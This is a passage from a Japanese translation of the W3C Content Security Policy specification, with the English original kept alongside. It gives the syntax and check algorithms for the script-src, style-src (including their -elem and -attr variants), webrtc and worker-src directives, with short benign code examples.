上の第 3 項【！#3】により，あらゆる施策が~inline~scriptを許容する場合に限られることになる。
◎
Navigation to javascript: URLs MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.
</li>
</ul>

				<section id="script-src-pre-request">
<h5 title="script-src Pre-request check">6.1.10.1. `script-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
</li>
	<li>
~RET `~script指令の要請前~検査$A( %要請, この指令, %施策 )
◎
Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.
</li>
</ol>

				</section>
				<section id="script-src-post-request">
<h5 title="script-src Post-request check">6.1.10.2. `script-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
</li>
	<li>
~RET `~script指令の要請後~検査$A( %要請, %応答, この指令, %施策 )
◎
Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.
</li>
</ol>

				</section>
				<section id="script-src-inline">
<h5 title="script-src Inline Check">6.1.10.3. `script-src^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
~Assert：
［
%要素 ~NEQ ~NULL
］~OR［
%型 ~EQ `navigation^l
］
◎
Assert: element is not null or type is "navigation".
</li>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>

			<section id="directive-script-src-elem">
<h4 title="script-src-elem">6.1.11. `script-src-elem^dir</h4>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "script-src-elem"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`script-src-elem@dir
指令は、
すべての［
~script要請 ／ ~script~block
］に適用される。
~scriptを実行する属性（~inlineな~event~handler）は、
`script-src-attr$dir を介して制御される。
◎
The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.
</p>

<p>
そのようなわけで， `script-src$dir に比較して次の相違点が存在する：
◎
As such, the following differences exist when comparing to script-src:
</p>

<ul>
	<li>
`script-src-elem^dir が各種~inline検査に適用されるのは、
%型 ~IN { `script^l, `navigation^l }
のときであり，
%型 ~EQ `script attribute^l のときには無視される。
◎
script-src-elem applies to inline checks whose |type| is "script" and "navigation" (and is ignored for inline checks whose |type| is "script attribute").
</li>
	<li>
`script-src-elem^dir の`値$は、［
`unsafe-eval^l 検査に対し通過制御される，~JS実行~sink検査
］用には利用されない。
◎
script-src-elem’s value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check.
</li>
	<li>
`script-src-elem^dir は、
`worker-src$dir 指令~用の~fallbackとしては利用されない。
`worker-src^dir 検査は、
依然として， `script-src$dir 指令に~fall-backする。
◎
script-src-elem is not used as a fallback for the worker-src directive. The worker-src checks still fall back on the script-src directive.
</li>
</ul>

				<section id="script-src-elem-pre-request">
<h5 title="script-src-elem Pre-request check">6.1.11.1. `script-src-elem^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".
</li>
	<li>
~RET `~script指令の要請前~検査$A( %要請, この指令, %施策 )
◎
Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.
</li>
</ol>

				</section>
				<section id="script-src-elem-post-request">
<h5 title="script-src-elem Post-request check">6.1.11.2. `script-src-elem^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".
</li>
	<li>
~RET `~script指令の要請後~検査$A( %要請, %応答, この指令, %施策 )
◎
Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.
</li>
</ol>

				</section>
				<section id="script-src-elem-inline">
<h5 title="script-src-elem Inline Check">6.1.11.3. `script-src-elem^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
~Assert：
［
%要素 ~NEQ ~NULL
］~OR［
%型 ~EQ `navigation^l
］
◎
Assert: element is not null or type is "navigation".
</li>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-script-src-attr">
<h4 title="script-src-attr">6.1.12. `script-src-attr^dir</h4>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "script-src-attr"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`script-src-attr@dir
指令は、
~event~handlerに適用され、
在る場合，関連な検査~用に `script-src$dir 指令を上書きすることになる。
◎
The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.
</p>

				<section id="script-src-attr-inline">
<h5 title="script-src-attr Inline Check">6.1.12.1. `script-src-attr^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
~Assert：
［
%要素 ~NEQ ~NULL
］~OR［
%型 ~EQ `navigation^l
］
◎
Assert: element is not null or type is "navigation".
</li>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `script-src-attr$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-style-src">
<h4>6.1.13. `style-src^dir</h4>

<p>
`style-src@dir
指令は、［
どの所在からの~styleを`文書$に適用してもヨイかどうか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "style-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`style-src$dir 指令は、
次について統治する：
◎
The style-src directive governs several things:
</p>

<ul>
	<li>
<p>
~style`要請$は、
`要請は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
これには、
次のものが含まれる：
◎
Style requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?. This includes:
</p>
		<ul>
			<li>
`link$e 要素から生じている~stylesheet要請
◎
Stylesheet requests originating from a link element.
</li>
			<li>
`~at_import$ 規則から生じている~stylesheet要請
◎
Stylesheet requests originating from the @import rule.
</li>
			<li>
`Link$h ~HTTP応答~headerから生じている~stylesheet要請
`RFC8288$r
◎
Stylesheet requests originating from a Link HTTP response header field [RFC8288].
</li>
		</ul>
	</li>
	<li>
~style要請に対する`応答$は、
`要請に対する応答は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
◎
Responses to style requests MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.
</li>
	<li>
<p>
~inlineな `style$e 要素~blockは、
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A
に合格しなければナラナイ。
その~styleは、
どの施策も 次のいずれかにより~inlineな~styleを許容していない限り，阻止されることになる：
</p>

		<ul>
			<li>
`style-src$dir （または `default-src$dir ）指令を指定しないことにより、
暗黙的に。
</li>
			<li>
その~inlineな~blockに合致する［
`unsafe-inline$pl ／
`nonce-source$p ／
`hash-source$p
］を指定することにより，明示的に。
</li>
</ul>

◎
Inline style blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.
</li>
	<li>
<p>
次の~CSS~algoは、
 `unsafe-eval$pl ~source式で通過制御される：
◎
The following CSS algorithms are gated on the unsafe-eval source expression:
</p>
		<ul>
			<li>
`~CSS規則を挿入する$
◎
insert a CSS rule
</li>
			<li>
`~CSS規則として構文解析する$
◎
parse a CSS rule,
</li>
			<li>
`~CSS宣言~blockを構文解析する$
◎
parse a CSS declaration block
</li>
			<li>
`選択子~listとして構文解析する$
◎
parse a group of selectors
</li>
	</ul>

<p>
これには、
例えば， CSSOM の各種~interface上の［
`cssText^m 設定子 ／ `insertRule()^m ~method
］に対する すべての呼出nが含まれることになる。
`CSSOM$r `HTML$r
◎
This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].
</p>

<p class="issue">
これは、
もっと良く説明される必要がある。
[`212$issue]
◎
This needs to be better explained. [w3c/webappsec-csp Issue #212]
</p>
	</li>
</ul>

				<section id="style-src-pre-request">
<h5 title="style-src Pre-request Check">6.1.13.1. `style-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="style-src-post-request">
<h5 title="style-src Post-request Check">6.1.13.2. `style-src^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="style-src-inline">
<h5 title="style-src Inline Check">6.1.13.3. `style-src^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>

<ol>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="style-src-init">
<h5 title="style-src Initialization">6.1.13.4. `style-src^dir 初期化</h5>

<p>
次の~algoが、
この指令の`初期化$Aを与える：
◎
This directive’s initialization algorithm is as follows:
</p>

<ol>
	<li>
<p class="issue">
CSSOM の~algoを監禁するために，実行~文脈に関わる何かをする。
CSSOM がこのための~hookを与えることは見込めないので、
【！＊】
`let’s work with them to put something reasonable together.^en
◎
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
</p>
	</li>
</ol>

<p class="trans-note">【
この節は，原文では前~節の一部を成しているが、
他所と一貫させるため，独立な節に分けている。
】</p>

				</section>
			</section>
			<section id="directive-style-src-elem">
<h4 title="style-src-elem">6.1.14. `style-src-elem^dir</h4>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "style-src-elem"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`style-src-elem@dir
指令は、
~inline属性~内に定義されるもの以外の，~styleの挙動を統治する。
◎
The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.
</p>

				<section id="style-src-elem-pre-request">
<h5 title="style-src-elem Pre-request Check">6.1.14.1. `style-src-elem^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="style-src-elem-post-request">
<h5 title="style-src-elem Post-request Check">6.1.14.2. `style-src-elem^dir 要請後~検査</h5>

<p>
次の~algoが、
この指令の`要請後~検査$Aを与える：
◎
This directive’s post-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `応答$ %応答, `施策$ %施策 )
に対し：
◎
Given a request request, a response response, and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`~nonceは~source~listに合致するか？$A( %要請 の`暗号用~nonce~metadata$rq, この指令の`値$ )
~EQ `合致する^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".
</li>
	<li>
~IF［
`要請に対する応答は~source~listに合致するか？$A( %応答, %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
				<section id="style-src-elem-inline">
<h5 title="style-src-elem Inline Check">6.1.14.3. `style-src-elem^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src-elem$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
			<section id="directive-style-src-attr">
<h4 title="style-src-attr">6.1.15. `style-src-attr^dir</h4>

<p>
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "style-src-attr"
`directive-value$p
	= `serialized-source-list$p
</pre>

<p>
`style-src-attr@dir
指令は、
~style属性の挙動を統治する。
◎
The style-src-attr directive governs the behaviour of style attributes.
</p>

				<section id="style-src-attr-inline">
<h5 title="style-src-attr Inline Check">6.1.15.1. `style-src-attr^dir ~inline検査</h5>

<p>
次の~algoが、
この指令の`~inline検査$Aを与える：
◎
This directive’s inline check algorithm is as follows:
</p>

<p>
所与の
( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source )
に対し：
◎
Given an Element element, a string type, a policy policy and a string source:
</p>
<ol>
	<li>
%名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `style-src-attr$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要素 は ( 型, ~source ) について~source~listに合致するか？$A( %要素, この指令の`値$, %型, %~source )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".
</li>

	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
			</section>
		</section>
		<section id="directives-other">
<h3 title="Other Directives">6.2. 他の指令</h3>


			<section id="directive-webrtc">
<h4 title="webrtc">6.2.1. `webrtc^dir</h4>

<p>
`webrtc@dir
指令は、［
~WebRTCを介して接続を確立してヨイかどうか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "webrtc"
`directive-value$p
	= "`allow@pl" / "`block@pl"
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
Content-Security-Policy: `webrtc$dir 'block'
</pre>

<p>
次の~code【！&lt;script&gt; … &lt;/script&gt;】が局所（ `local$m ）~ICE候補（ `RTCIceCandidate$I ）に面することはない
— 下で［
折衝される~peer接続（ `RTCPeerConnection$I ）（ %pc ）に供した~ICE~server（ %iceServers ）
］に対しては、
~STUN検査は為されないので。
~JSにより供される どの~remote（ `remote$m ）~ICE候補に対しても，接続性の検査は試みられない。
`connectionState$m （`接続~状態＠~TR/webrtc/#dfn-connection-state$）は、
決して `connected^l （ “接続-済み” ）へは遷移しない
— 代わりに、
その初期~状態 `new^l （ “新たな” ）から直に `failed^l （ “失敗した” ）へ，すぐに遷移する。
%pc に対し `restartIce()$m を試みても、
この成り行きを繰返すことになる。
◎
No local ICE candidates will be surfaced, as no STUN checks will be made against the ICE server provided to the peer connection negotiated below; No connectivity-checks will be attempted to any remote candidates provided by JS; The connectionState will never transition to "connected" and instead transition directly from its initial state of "new" to "failed" shortly. Attempts to pc.restartIce() will repeat this outcome.
</p>

<p class="trans-note">【
~ICEは、
`Interactive Connectivity Establishment^en （ “ヤリトリありな接続性の確立” ）の略語
】【
この段落~内の各［
括弧, および~link
］は、
この訳による補完（推定）。
】</p>

<pre class="lang-js">
const %iceServers = [{urls: "stun:stun.l.google.com:19302"}];
const %pc = new RTCPeerConnection({%iceServers});
%pc.createDataChannel("");
const %io = new WebSocket('ws://example.com:8080');
%pc.onicecandidate = ({%candidate}) =&gt; %io.send({%candidate});
%pc.onnegotiationneeded = async () =&gt; {
  await %pc.setLocalDescription();
  %io.send({%description: %pc.localDescription});
};
%io.onmessage = async ({data: {%description, %candidate}}) =&gt; {
  if (%description) {
    await %pc.setRemoteDescription(%description);
    if (%description.type == "offer") {
      await %pc.setLocalDescription();
      %io.send({description: %pc.localDescription});
    }
  } else if (%candidate) await %pc.addIceCandidate(%candidate);
};
</pre>
</div>

				<section id="webrtc-pre-connect">
<h5 title="webrtc Pre-connect Check">6.2.1.1. `webrtc^dir 接続前~検査</h5>

<p>
次の~algoが、
この指令の`~WebRTC接続前~検査$Aを与える：
◎
This directive’s webrtc pre-connect check is as follows:
</p>
<ol>
	<li>
~RET ［
次が満たされるならば `許容される^i／
~ELSE_ `阻止される^i
］
⇒
［
この指令の`値$は単独の~item %~item のみからなる
］~AND［
%~item ~EQ`大小無視$sub "`allow$pl"
］
◎
If this directive’s value contains a single item which is an ASCII case-insensitive match for the string "'allow'", return "Allowed".
◎
Return "Blocked".
</li>
</ol>

				</section>
			</section>
			<section id="directive-worker-src">
<h4>6.2.2. `worker-src^dir</h4>

<p>
`worker-src@dir
指令は、［
どの~URLを［
`Worker$I ／ `SharedWorker$I ／ `ServiceWorker$I
］として読込んでもヨイか
］を制約する。
この指令の名前と値の構文は、
次の`~ABNF$で述べられる：
◎
The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:
</p>

<pre class="bnf">
`directive-name$p
	= "worker-src"
`directive-value$p
	= `serialized-source-list$p
</pre>

<div class="example">
<p>
~pageが次の~CSPを伴うならば：
◎
Given a page with the following Content Security Policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `worker-src$dir https://example.com/
</pre>

<p>
次の~codeによる~fetchは，~network~errorを返すことになる
— 供された~URLは，
`worker-src$dir の`~source~list$に合致しないので：
◎
Fetches for the following code will return a network errors, as the URL provided do not match worker-src’s source list:
</p>

<pre class="lang-html">
&lt;script&gt;
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
&lt;/script&gt;
</pre>
</div>

				<section id="worker-src-pre-request">
<h5 title="worker-src Pre-request Check">6.2.2.1. `worker-src^dir 要請前~検査</h5>

<p>
次の~algoが、
この指令の`要請前~検査$Aを与える：
◎
This directive’s pre-request check is as follows:
</p>

<p>
所与の
( `要請$ %要請, `施策$ %施策 )
に対し：
◎
Given a request request and a policy policy:
</p>
<ol>
	<li>
%名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~IF［
`~fetch指令を実行するべきか？$A( %名前, `worker-src$dir, %施策 ) ~EQ `~No^i
］
⇒
~RET `許容される^i
◎
If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".
</li>
	<li>
~IF［
`要請は~source~listに合致するか？$A( %要請, この指令の`値$, %施策 )
~EQ `合致しない^i
］
⇒
~RET `阻止される^i
◎
If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
</li>
	<li>
~RET `許容される^i
◎
Return "Allowed".
</li>
</ol>

				</section>
